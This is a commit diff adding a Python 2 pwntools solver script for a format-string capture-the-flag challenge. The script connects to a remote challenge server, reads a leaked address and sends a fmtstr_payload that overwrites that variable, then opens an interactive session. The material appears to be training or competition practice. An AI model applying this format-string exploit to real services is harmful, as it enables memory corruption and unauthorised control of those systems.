Added 5 problems and solutions

FormatString/attachment-31/answer.py

@@ -0,0 +1,27 @@
+#!/usr/bin/env python2
+from pwn import *
+from LibcSearcher import *
+from struct import pack
+import os, base64, math, time
+context(arch = "i386",os = "linux", log_level = "debug")
+
+
+p = remote("123.57.69.203", 5310)
+# p = process('./attachment-31')
+elf = ELF('./attachment-31')
+
+# gdb_command = ""
+# gdb.attach(p, gdb_command)
+# time.sleep(2)
+
+
+x_addr = int(p.recv(10), 16)
+log.info(hex(x_addr))
+
+for _ in range(3):
+    p.sendline("1")
+p.recvuntil("What's your name?\n")
+payload = fmtstr_payload(10, {x_addr: 9})
+p.sendline(payload)
+
+p.interactive()